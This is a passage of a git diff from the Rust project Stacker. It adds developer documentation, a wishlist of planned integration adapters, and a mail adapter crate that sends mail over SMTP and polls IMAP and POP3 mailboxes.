fn test_validation() { ... } +} +``` + +### Integration Tests (in `tests/`) + +```rust +use assert_cmd::Command; +use predicates::prelude::*; + +fn stacker_cmd() -> Command { + Command::cargo_bin("stacker-cli").expect("binary not found") +} + +#[test] +fn completion_outputs_script() { + stacker_cmd() + .args(["completion", "bash"]) + .assert() + .success() + .stdout(predicate::str::contains("stacker")); +} +``` + +**Integration Test Files**: +- `cli_smoke.rs`, `cli_init.rs`, `cli_config.rs`, `cli_help.rs` +- `agent_command_flow.rs`, `middleware_trydirect.rs`, `middleware_client.rs` +- `agreement.rs`, `dockerhub.rs`, `model_project.rs` + +### Test Command + +```bash +cargo test --offline --lib -- --color=always --test-threads=1 --nocapture +cargo test --test cli_init -- --test-threads=1 +``` + +--- + +## 7. SOURCE STRUCTURE IN DETAIL + +### `src/` Directory Breakdown + +**routes/** (18 domains) +- HTTP handlers organized by domain: agent, project, deployment, server, cloud, client, marketplace, chat, command, agreement, rating, dockerhub, test +- Each file: `#[post]`/`#[get]` macro with `#[tracing::instrument]` +- Registered in `startup.rs` with `web::scope()` + +**db/** (14 modules) +- One per domain: project, agent, deployment, command, chat, client, cloud, marketplace, product, project_app, agreement, rating, server +- All functions: `async fn(pool: &PgPool, ...) -> Result` +- Use `sqlx::query_as!` for compile-time safety + +**models/** (16 structs) +- Domain models with sqlx attributes +- Validation enums (e.g., `ProjectNameError`) +- No business logic—purely data + +**services/** (10 modules) +- Business logic: project, project_app_service, agent_dispatcher, config_renderer +- Higher-level operations combining DB queries and rules + +**helpers/** (13 utilities) +- `db_pools.rs`: AgentPgPool wrapper +- `mq_manager.rs`: RabbitMQ pool +- `vault.rs`: Vault client +- `json.rs`: Response builder +- `agent_client.rs`: Agent HTTP client +- Subdirs: `client/`, `cloud/`, `project/` + +**connectors/** (11 files + subdirs) +- Plugin pattern: define traits, provide implementations + mocks +- `user_service/`: TryDirect integration (12 files) +- `install_service/`, `admin_service/`, `dockerhub_service.rs` + +**middleware/** (2 dirs) +- `authentication/`: 6 auth methods (Agent, JWT, OAuth, Cookie, HMAC, Anonymous) +- `authorization.rs`: Casbin RBAC/ABAC + +**mcp/** (6 files + tools/) +- Protocol, registry, session, websocket +- `tools/`: 48+ AI-callable tools (agent_control, config, compose, deployment, firewall, etc.) + +**cli/** (16 modules) +- `ai_client.rs`: LLM integration (Ollama, OpenAI, Anthropic) +- `config_parser.rs`, `detector.rs`, `generator/`, `credentials.rs` +- `stacker_client.rs`: HTTP client to server + +--- + +## 8. EXAMPLE: Adding a New Route + +1. **Create route file** (`src/routes/domain/endpoint.rs`): + ```rust + #[tracing::instrument(name = "Endpoint name", skip(pool))] + #[post("/endpoint")] + pub async fn handler( + user: web::ReqData>, // Auto-extracted + payload: web::Json, + pool: web::Data>, + ) -> Result { + let result = db::domain::fetch(pool.get_ref(), id) + .await + .map_err(|e| helpers::JsonResponse::build().internal_server_error(e))?; + + Ok(helpers::JsonResponse::build().set_item(result).ok("Success")) + } + ``` + +2. **Declare in module** (`src/routes/domain/mod.rs`): + ```rust + pub mod endpoint; + pub use endpoint::handler; + ``` + +3. **Register in startup** (`src/startup.rs`): + ```rust + .service(web::scope("/api/v1/domain").service(routes::domain::handler)) + ``` + +4. **Write tests** (`tests/integration_test.rs`): + ```rust + #[test] + fn test_endpoint() { ... } + ``` + +--- + +## 9. QUICK START FOR AI ASSISTANTS + +| Task | Pattern | Files | +|------|---------|-------| +| Add HTTP endpoint | Handler + route registration | `src/routes/domain/`, `src/startup.rs` | +| Add DB query | `sqlx::query_as!` + error handling | `src/db/` | +| Add model | Struct with sqlx attributes | `src/models/` | +| Add CLI command | `clap` subcommand | `src/bin/stacker.rs` or `src/console/main.rs` | +| Add auth check | Middleware extraction + ownership check | `src/middleware/authentication/` | +| Add AI tool | Struct + registry | `src/mcp/tools/` | +| Add test | `#[tokio::test]` or `assert_cmd` | `src/` or `tests/` | + +--- + +## Key Takeaways for Development + +| Aspect | Pattern | +|--------|---------| +| **Errors** | `Result` with converter in HTTP layer | +| **DB** | `sqlx::query_as!` compile-time safety, two pools (API/Agent) | +| **Auth** | Middleware injects `Arc` (6 methods) | +| **Logging** | `#[tracing::instrument]` + structured Bunyan JSON | +| **Config** | `config` crate + env var override with `APP__*` prefix | +| **CLI** | `clap` derive macros with subcommands | +| **Tests** | Unit in `src/`, integration in `tests/`, use assert_cmd | +| **External** | Plugin traits (UserService, DockerHub, etc.) | +| **AI Tools** | 48+ tools in `mcp/tools/` via WebSocket | +| **Migration** | sqlx migrations, compile-time via `.sqlx/` cache | + +--- + +## Recommended Reading Order + +1. **This file** - Overview +2. `QUICK_REFERENCE.md` - Patterns and checklists +3. `CODE_SNIPPETS.md` - Copy-paste examples +4. `src/routes/*/` handler files - Learn by example +5. `src/db/` modules - Query patterns +6. `src/models/` - Data structure patterns +7. `tests/` - Integration test patterns + diff --git a/stacker/stacker/crates/TODO.md b/stacker/stacker/crates/TODO.md new file mode 100644 index 0000000..0ffab35 --- /dev/null +++ b/stacker/stacker/crates/TODO.md @@ -0,0 +1,173 @@ +# Pipe Adapter Wishlist + +This file collects **suggested next adapters** for the `crates/` workspace. + +Current first-party adapters already present: + +- `webhook` +- `smtp` +- `imap` +- `pop3` +- `mailhog` + +The list below focuses on adapters that are likely to be useful for real Stacker +users wiring infrastructure, alerts, workflows, and service integrations. + +## High priority + +### Notifications and chat + +- [ ] **Slack** + - Incoming webhook target + - Bot API target for richer messages, threads, and file uploads +- [ ] **Telegram** + - Bot API target for alerts, approvals, and simple commands +- [ ] **Discord** + - Webhook target for ops notifications and status feeds +- [ ] **Microsoft Teams** + - Incoming webhook target for enterprise alerting + +### Workflow and automation + +- [ ] **Airflow** + - Trigger DAG run target + - Optional DAG status poll source +- [ ] **Zapier** + - Catch Hook / Webhooks target adapter +- [ ] **Make.com** + - Webhook target for low-code automation flows +- [ ] **n8n** + - Webhook target for self-hosted workflow automation + +### Queues and event transport + +- [ ] **RabbitMQ / AMQP** + - Queue publish target + - Queue consume source +- [ ] **Kafka** + - Topic publish target + - Topic consume source +- [ ] **NATS** + - Subject publish target + - Subject subscribe source +- [ ] **Redis Streams** + - Stream append target + - Stream consumer source + +## Medium priority + +### Cloud messaging and serverless triggers + +- [ ] **AWS SQS** + - Queue send target + - Queue poll source +- [ ] **AWS SNS** + - Topic publish target +- [ ] **Google Pub/Sub** + - Publish target + - Subscription pull source +- [ ] **Azure Service Bus** + - Queue/topic publish target + - Queue/topic consume source + +### Incident management + +- [ ] **PagerDuty** + - Events API target for incident creation and resolution +- [ ] **Opsgenie** + - Alert target for escalation workflows +- [ ] **VictorOps / Splunk On-Call** + - Alert target for on-call routing + +### Developer platforms + +- [ ] **GitHub** + - Issue/comment target + - Release/deployment webhook source +- [ ] **GitLab** + - Issue/pipeline target + - Webhook source +- [ ] **Jira** + - Ticket create/update target + +### Storage and documents + +- [ ] **S3 / MinIO** + - Object put target + - Object event source +- [ ] **Google Drive** + - File upload target +- [ ] **Dropbox** + - File sync target + +## Lower priority but highly useful + +### Data platforms + +- [ ] **PostgreSQL** + - Insert/update target + - Logical replication / CDC source +- [ ] **MySQL** + - Insert/update target + - Binlog source +- [ ] **Elasticsearch / OpenSearch** + - Index target for logs, events, and search pipelines +- [ ] **ClickHouse** + - Bulk ingest target for analytics + +### Observability + +- [ ] **Prometheus Alertmanager** + - Alert target +- [ ] **Grafana OnCall** + - Incident/notification target +- [ ] **Loki** + - Log push target +- [ ] **OpenTelemetry** + - Trace/event export target + +### App and commerce services + +- [ ] **Twilio** + - SMS target + - WhatsApp target +- [ ] **Stripe** + - Webhook source + - Event/action target where appropriate +- [ ] **Shopify** + - Webhook source + - Admin API target + +## Platform-oriented adapters for Stacker use cases + +- [ ] **Kubernetes** + - Job target + - CronJob target + - Watch source for workload events +- [ ] **Docker Registry** + - Image publish / tag notification target +- [ ] **HashiCorp Vault** + - Secret read/write adapter beyond current direct product integrations +- [ ] **Terraform Cloud / HCP Terraform** + - Run trigger target + - Run status source + +## Notes for implementation order + +- Prefer adapters with **simple auth + high utility** first: + 1. Slack + 2. Telegram + 3. RabbitMQ + 4. Airflow + 5. Zapier / Make / n8n +- Keep a clean split between: + - **source adapters**: poll, subscribe, receive, watch + - **target adapters**: send, publish, trigger, upload +- Favor adapters that can be configured with: + - URL + - token or secret reference + - retry policy + - timeout + - idempotency key or dedupe field +- Reuse the same normalized payload pattern where possible instead of creating + one-off transport-specific shapes for every service. diff --git a/stacker/stacker/crates/pipe-adapter-mail/Cargo.toml b/stacker/stacker/crates/pipe-adapter-mail/Cargo.toml new file mode 100644 index 0000000..523738c --- /dev/null +++ b/stacker/stacker/crates/pipe-adapter-mail/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "pipe-adapter-mail" +version = "0.1.0" +edition = "2021" + +[dependencies] +async-trait = "0.1" +async-std = "1" +async-imap = { version = "0.11.2", default-features = false, features = ["runtime-async-std"] } +async-native-tls = "0.5" +async-pop = { version = "1.1.3", default-features = false, features = ["runtime-async-std", "async-native-tls", "sasl"] } +futures-util = "0.3" +lettre = { version = "0.11", default-features = false, features = ["builder", "smtp-transport", "tokio1-rustls-tls"] } +mailparse = "0.16.1" +pipe-adapter-sdk = { path = "../pipe-adapter-sdk" } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +thiserror = "1" +tokio = { version = "1", features = ["net"] } + +[dev-dependencies] +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } diff --git a/stacker/stacker/crates/pipe-adapter-mail/TODO.md b/stacker/stacker/crates/pipe-adapter-mail/TODO.md new file mode 100644 index 0000000..e978200 --- /dev/null +++ b/stacker/stacker/crates/pipe-adapter-mail/TODO.md @@ -0,0 +1,12 @@ +# pipe-adapter-mail TODO + +## Future enhancements + +- Add durable POP3/IMAP cursor persistence so mailbox polling survives worker restarts without replaying already-processed messages. +- Add explicit replay/reset semantics for mailbox sources so operators can intentionally reprocess a message range when needed. +- Add bounded polling controls in adapter config, including max messages per poll, max body size, and max attachment metadata extraction. +- Add richer mailbox state handling for IMAP, including configurable search criteria beyond `UNSEEN` and explicit `\Seen`/ack behavior. +- Add safer POP3 progression semantics, including optional delete/keep behavior after successful downstream trigger delivery. +- Add multipart attachment metadata improvements, including content-id and inline attachment handling. +- Add adapter-level metrics and structured diagnostics for connect, login, fetch, parse, and delivery outcomes without logging secrets or message bodies. +- Add fixture-driven tests for live protocol edge cases such as malformed MIME, empty mailboxes, duplicate UIDL/UID values, and partial TLS/auth failures. diff --git a/stacker/stacker/crates/pipe-adapter-mail/src/lib.rs b/stacker/stacker/crates/pipe-adapter-mail/src/lib.rs new file mode 100644 index 0000000..9b826f2 --- /dev/null +++ b/stacker/stacker/crates/pipe-adapter-mail/src/lib.rs @@ -0,0 +1,1235 @@ +use async_native_tls::TlsConnector; +use async_std::net::TcpStream; +use async_trait::async_trait; +use futures_util::{AsyncRead, AsyncWrite, TryStreamExt}; +use lettre::message::{header::ContentType, Mailbox, MultiPart, SinglePart}; +use lettre::transport::smtp::authentication::Credentials; +use lettre::{AsyncSmtpTransport, AsyncTransport, Message, Tokio1Executor}; +use mailparse::{addrparse_header, parse_mail, MailAddr, MailHeaderMap, ParsedMail}; +use pipe_adapter_sdk::{ + builtin_registry, NormalizedMailAddress, NormalizedMailAttachment, NormalizedMailBody, + NormalizedMailMessage, PipeAdapterCatalog, PipeAdapterDispatch, PipeAdapterError, + PipeAdapterMetadata, PipeAdapterPayload, PipeAdapterReference, PipeSourceAdapter, + PipeTargetAdapter, +}; +use serde::Deserialize; +use serde_json::{json, Value}; +use std::collections::HashSet; +use std::sync::{Arc, Mutex}; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SmtpDeliveryRequest { + pub host: String, + pub port: u16, + pub username: Option, + pub password: Option, + pub from: String, + pub to: Vec, + pub reply_to: Option, + pub subject: String, + pub body_text: Option, + pub body_html: Option, + pub tls: bool, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SmtpDeliveryReceipt { + pub message_id: Option, + pub accepted_recipients: usize, +} + +#[async_trait] +pub trait SmtpClient: Send + Sync + Clone + 'static { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result; +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct MailSourceRequest { + pub host: String, + pub port: u16, + pub username: String, + pub password: Option, + pub tls: bool, + pub mailbox: Option, +} + +#[async_trait] +pub trait MailSourceClient: Send + Sync + Clone + 'static { + async fn poll_imap( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError>; + + async fn poll_pop3( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError>; +} + +#[derive(Debug, Clone, Default)] +pub struct LiveMailSourceClient; + +#[async_trait] +impl MailSourceClient for LiveMailSourceClient { + async fn poll_imap( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + let stream = TcpStream::connect((request.host.as_str(), request.port)) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + if request.tls { + let tls_stream = TlsConnector::new() + .connect(&request.host, stream) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to negotiate tls with {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_imap_client(async_imap::Client::new(tls_stream), request).await + } else { + poll_imap_client(async_imap::Client::new(stream), request).await + } + } + + async fn poll_pop3( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + if request.tls { + let tls = TlsConnector::new(); + let mut client = + async_pop::connect((request.host.as_str(), request.port), &request.host, &tls) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_pop3_client(&mut client, request).await + } else { + let mut client = async_pop::connect_plain((request.host.as_str(), request.port)) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_pop3_client(&mut client, request).await + } + } +} + +async fn poll_pop3_client( + client: &mut async_pop::Client, + request: &MailSourceRequest, +) -> Result, PipeAdapterError> +where + S: AsyncRead + AsyncWrite + Unpin + Send, +{ + let password = request.password.as_deref().ok_or_else(|| { + PipeAdapterError::Message( + "pop3 adapter requires a password in the adapter configuration".to_string(), + ) + })?; + + client + .login(request.username.as_str(), password) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter login failed for '{}' on {}:{}: {}", + request.username, request.host, request.port, err + )) + })?; + + let entries = client.uidl(None).await.map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to list mailbox on {}:{}: {}", + request.host, request.port, err + )) + })?; + + let items = match entries { + async_pop::response::uidl::UidlResponse::Multiple(entries) => { + let mut items = Vec::new(); + for entry in entries.items() { + let index = entry.index().to_string().parse::().map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter returned invalid message index '{}': {}", + entry.index(), + err + )) + })?; + items.push((index, entry.id().to_string())); + } + items + } + async_pop::response::uidl::UidlResponse::Single(entry) => { + let index = entry.index().to_string().parse::().map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter returned invalid message index '{}': {}", + entry.index(), + err + )) + })?; + vec![(index, entry.id().to_string())] + } + }; + + let mut messages = Vec::new(); + for (index, uid) in items { + let raw = client.retr(index).await.map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to retrieve message {} from {}:{}: {}", + index, request.host, request.port, err + )) + })?; + messages.push(parse_normalized_mail_message( + raw.as_ref(), + None, + Some(uid), + )?); + } + + let _ = client.quit().await; + Ok(messages) +} + +#[derive(Debug, Clone, Default)] +pub struct LettreSmtpClient; + +#[async_trait] +impl SmtpClient for LettreSmtpClient { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result { + let email = build_smtp_message(request)?; + let mut builder = if request.tls { + AsyncSmtpTransport::::relay(&request.host) + .map_err(|err| { + PipeAdapterError::Message(format!( + "invalid smtp host '{}': {}", + request.host, err + )) + })? + .port(request.port) + } else { + AsyncSmtpTransport::::builder_dangerous(&request.host) + .port(request.port) + }; + + match (&request.username, &request.password) { + (Some(username), Some(password)) => { + builder = builder.credentials(Credentials::new(username.clone(), password.clone())); + } + (None, None) => {} + _ => { + return Err(PipeAdapterError::Message( + "smtp adapter requires both username and password when credentials are configured".to_string(), + )); + } + } + + let response = + builder.build().send(email).await.map_err(|err| { + PipeAdapterError::Message(format!("smtp delivery failed: {}", err)) + })?; + + let mut messages = response.message(); + Ok(SmtpDeliveryReceipt { + message_id: messages.next().map(str::to_owned), + accepted_recipients: request.to.len(), + }) + } +} + +#[derive(Debug, Clone)] +pub struct SmtpTargetAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: SmtpTargetConfig, + client: T, +} + +#[derive(Debug, Clone)] +pub struct ImapSourceAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: ImapSourceConfig, + client: T, + seen_ids: Arc>>, +} + +#[derive(Debug, Clone)] +pub struct Pop3SourceAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: Pop3SourceConfig, + client: T, + seen_ids: Arc>>, +} + +impl SmtpTargetAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LettreSmtpClient) + } +} + +impl ImapSourceAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LiveMailSourceClient) + } +} + +impl Pop3SourceAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LiveMailSourceClient) + } +} + +impl SmtpTargetAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown smtp adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: SmtpTargetConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid smtp adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + }) + } + + fn build_request( + &self, + payload: PipeAdapterPayload, + ) -> Result { + let envelope = match payload { + PipeAdapterPayload::Json(value) => SmtpEnvelope::from_json(value, &self.config)?, + PipeAdapterPayload::MailMessage(message) => { + SmtpEnvelope::from_message(*message, &self.config)? + } + }; + + Ok(SmtpDeliveryRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + from: envelope.from, + to: envelope.to, + reply_to: envelope.reply_to, + subject: envelope.subject, + body_text: envelope.body_text, + body_html: envelope.body_html, + tls: self.config.tls, + }) + } +} + +impl ImapSourceAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown imap adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: ImapSourceConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid imap adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + seen_ids: Arc::new(Mutex::new(HashSet::new())), + }) + } + + fn build_request(&self) -> MailSourceRequest { + MailSourceRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + tls: self.config.tls, + mailbox: Some(self.config.mailbox.clone()), + } + } +} + +impl Pop3SourceAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown pop3 adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: Pop3SourceConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid pop3 adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + seen_ids: Arc::new(Mutex::new(HashSet::new())), + }) + } + + fn build_request(&self) -> MailSourceRequest { + MailSourceRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + tls: self.config.tls, + mailbox: None, + } + } +} + +#[async_trait] +impl PipeTargetAdapter for SmtpTargetAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn deliver(&self, payload: PipeAdapterPayload) -> Result { + let request = self.build_request(payload)?; + let receipt = self.client.send(&request).await?; + Ok(json!({ + "transport": "smtp", + "adapter": self.reference.code, + "status": Value::Null, + "delivered": true, + "body": { + "host": request.host, + "port": request.port, + "tls": request.tls, + "subject": request.subject, + "to": request.to, + "from": request.from, + "message_id": receipt.message_id, + "accepted_recipients": receipt.accepted_recipients, + } + })) + } +} + +#[async_trait] +impl PipeSourceAdapter for ImapSourceAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn poll(&self) -> Result, PipeAdapterError> { + let messages = filter_new_messages( + &self.seen_ids, + self.client.poll_imap(&self.build_request()).await?, + )?; + Ok(messages + .into_iter() + .map(|message| PipeAdapterDispatch { + adapter: self.reference.clone(), + payload: PipeAdapterPayload::MailMessage(Box::new(message)), + }) + .collect()) + } +} + +#[async_trait] +impl PipeSourceAdapter for Pop3SourceAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn poll(&self) -> Result, PipeAdapterError> { + let messages = filter_new_messages( + &self.seen_ids, + self.client.poll_pop3(&self.build_request()).await?, + )?; + Ok(messages + .into_iter() + .map(|message| PipeAdapterDispatch { + adapter: self.reference.clone(), + payload: PipeAdapterPayload::MailMessage(Box::new(message)), + }) + .collect()) + } +} + +#[derive(Debug, Clone, Deserialize)] +struct SmtpTargetConfig { + host: String, + #[serde(default = "default_smtp_port")] + port: u16, + #[serde(default)] + username: Option, + #[serde(default)] + password: Option, + #[serde(default)] + from: Option, + #[serde(default, deserialize_with = "deserialize_string_or_vec")] + to: Vec, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone, Deserialize)] +struct ImapSourceConfig { + host: String, + #[serde(default = "default_imap_port")] + port: u16, + username: String, + #[serde(default)] + password: Option, + #[serde(default = "default_imap_mailbox")] + mailbox: String, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone, Deserialize)] +struct Pop3SourceConfig { + host: String, + #[serde(default = "default_pop3_port")] + port: u16, + username: String, + #[serde(default)] + password: Option, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone)] +struct SmtpEnvelope { + from: String, + to: Vec, + reply_to: Option, + subject: String, + body_text: Option, + body_html: Option, +} + +impl SmtpEnvelope { + fn from_json(value: Value, config: &SmtpTargetConfig) -> Result { + let from = json_string_field(&value, "from_email") + .or_else(|| config.from.clone()) + .ok_or_else(|| { + PipeAdapterError::Message("smtp adapter requires a from address".to_string()) + })?; + let to = json_string_list_field(&value, "to_email"); + let to = if to.is_empty() { config.to.clone() } else { to }; + if to.is_empty() { + return Err(PipeAdapterError::Message( + "smtp adapter requires at least one recipient address".to_string(), + )); + } + + let subject = json_string_field(&value, "subject") + .unwrap_or_else(|| "Stacker pipe message".to_string()); + let body_text = json_string_field(&value, "body_text").or_else(|| match &value { + Value::String(text) => Some(text.clone()), + other => serde_json::to_string_pretty(other).ok(), + }); + let body_html = json_string_field(&value, "body_html"); + if body_text.is_none() && body_html.is_none() { + return Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )); + } + + Ok(Self { + from, + to, + reply_to: json_string_field(&value, "reply_to_email"), + subject, + body_text, + body_html, + }) + } + + fn from_message( + message: pipe_adapter_sdk::NormalizedMailMessage, + config: &SmtpTargetConfig, + ) -> Result { + let from = message + .from + .first() + .map(|address| address.email.clone()) + .or_else(|| config.from.clone()) + .ok_or_else(|| { + PipeAdapterError::Message("smtp adapter requires a from address".to_string()) + })?; + let to = if message.to.is_empty() { + config.to.clone() + } else { + message + .to + .into_iter() + .map(|address| address.email) + .collect() + }; + if to.is_empty() { + return Err(PipeAdapterError::Message( + "smtp adapter requires at least one recipient address".to_string(), + )); + } + + let subject = message + .subject + .unwrap_or_else(|| "Stacker pipe message".to_string()); + let body_text = message.body.text; + let body_html = message.body.html; + if body_text.is_none() && body_html.is_none() { + return Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )); + } + + Ok(Self { + from, + to, + reply_to: None, + subject, + body_text, + body_html, + }) + } +} + +fn default_smtp_port() -> u16 { + 587 +} + +fn default_imap_port() -> u16 { + 993 +} + +fn default_pop3_port() -> u16 { + 995 +} + +fn default_imap_mailbox() -> String { + "INBOX".to_string() +} + +fn default_true() -> bool { + true +} + +fn deserialize_string_or_vec<'de, D>(deserializer: D) -> Result, D::Error> +where + D: serde::Deserializer<'de>, +{ + let value = Option::::deserialize(deserializer)?; + Ok(match value { + Some(Value::String(item)) => vec![item], + Some(Value::Array(items)) => items + .into_iter() + .filter_map(|item| item.as_str().map(str::to_string)) + .collect(), + _ => Vec::new(), + }) +} + +fn json_string_field(value: &Value, key: &str) -> Option { + value + .get(key) + .and_then(Value::as_str) + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(str::to_string) +} + +fn json_string_list_field(value: &Value, key: &str) -> Vec { + match value.get(key) { + Some(Value::String(item)) if !item.trim().is_empty() => vec![item.trim().to_string()], + Some(Value::Array(items)) => items + .iter() + .filter_map(Value::as_str) + .map(str::trim) + .filter(|item| !item.is_empty()) + .map(str::to_string) + .collect(), + _ => Vec::new(), + } +} + +async fn poll_imap_client( + mut client: async_imap::Client, + request: &MailSourceRequest, +) -> Result, PipeAdapterError> +where + S: AsyncRead + AsyncWrite + Unpin + Send + std::fmt::Debug, +{ + let password = request.password.as_deref().ok_or_else(|| { + PipeAdapterError::Message( + "imap adapter requires a password in the adapter configuration".to_string(), + ) + })?; + client.read_response().await.map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to read greeting from {}:{}: {}", + request.host, request.port, err + )) + })?; + let mut session = client + .login(request.username.as_str(), password) + .await + .map_err(|(err, _)| { + PipeAdapterError::Message(format!( + "imap adapter login failed for '{}' on {}:{}: {}", + request.username, request.host, request.port, err + )) + })?; + + let mailbox = request.mailbox.as_deref().unwrap_or("INBOX"); + session.select(mailbox).await.map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to select mailbox '{}': {}", + mailbox, err + )) + })?; + + let mut uids: Vec<_> = session + .uid_search("UNSEEN") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to search mailbox '{}': {}", + mailbox, err + )) + })? + .into_iter() + .collect(); + uids.sort_unstable(); + + let mut messages = Vec::new(); + for uid in uids { + let fetches: Vec<_> = session + .uid_fetch(uid.to_string(), "RFC822") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to fetch uid {} from '{}': {}", + uid, mailbox, err + )) + })? + .try_collect() + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to decode uid {} from '{}': {}", + uid, mailbox, err + )) + })?; + + for fetch in fetches { + if let Some(body) = fetch.body() { + messages.push(parse_normalized_mail_message( + body, + Some(mailbox), + Some(uid.to_string()), + )?); + } + } + + let _: Vec<_> = session + .uid_store(uid.to_string(), "+FLAGS (\\Seen)") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to mark uid {} seen in '{}': {}", + uid, mailbox, err + )) + })? + .try_collect() + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to confirm seen flag for uid {} in '{}': {}", + uid, mailbox, err + )) + })?; + } + + let _ = session.logout().await; + Ok(messages) +} + +fn filter_new_messages( + seen_ids: &Arc>>, + messages: Vec, +) -> Result, PipeAdapterError> { + let mut seen_ids = seen_ids + .lock() + .map_err(|_| PipeAdapterError::Message("mail adapter state lock poisoned".to_string()))?; + let mut fresh = Vec::new(); + + for message in messages { + let dedupe_key = message + .cursor + .clone() + .or_else(|| message.message_id.clone()) + .or_else(|| message.subject.clone()) + .ok_or_else(|| { + PipeAdapterError::Message( + "mail adapter could not derive a stable cursor or message id".to_string(), + ) + })?; + if seen_ids.insert(dedupe_key) { + fresh.push(message); + } + } + + Ok(fresh) +} + +fn parse_normalized_mail_message( + raw: &[u8], + mailbox: Option<&str>, + cursor: Option, +) -> Result { + let parsed = parse_mail(raw).map_err(|err| { + PipeAdapterError::Message(format!("mail adapter failed to parse raw message: {}", err)) + })?; + let body = extract_mail_body(&parsed); + + Ok(NormalizedMailMessage { + cursor, + mailbox: mailbox.map(str::to_string), + message_id: parsed.headers.get_first_value("Message-ID"), + subject: parsed.headers.get_first_value("Subject"), + sent_at: parsed.headers.get_first_value("Date"), + received_at: None, + from: parse_mail_addresses(&parsed, "From")?, + to: parse_mail_addresses(&parsed, "To")?, + cc: parse_mail_addresses(&parsed, "Cc")?, + bcc: parse_mail_addresses(&parsed, "Bcc")?, + headers: parsed + .headers + .iter() + .map(|header| (header.get_key().to_string(), header.get_value())) + .collect(), + body, + attachments: extract_attachments(&parsed)?, + }) +} + +fn extract_mail_body(parsed: &ParsedMail<'_>) -> NormalizedMailBody { + let mut body = NormalizedMailBody { + text: None, + html: None, + }; + + for part in parsed.parts() { + if part.ctype.mimetype.eq_ignore_ascii_case("text/plain") && body.text.is_none() { + if let Ok(text) = part.get_body() { + let text = 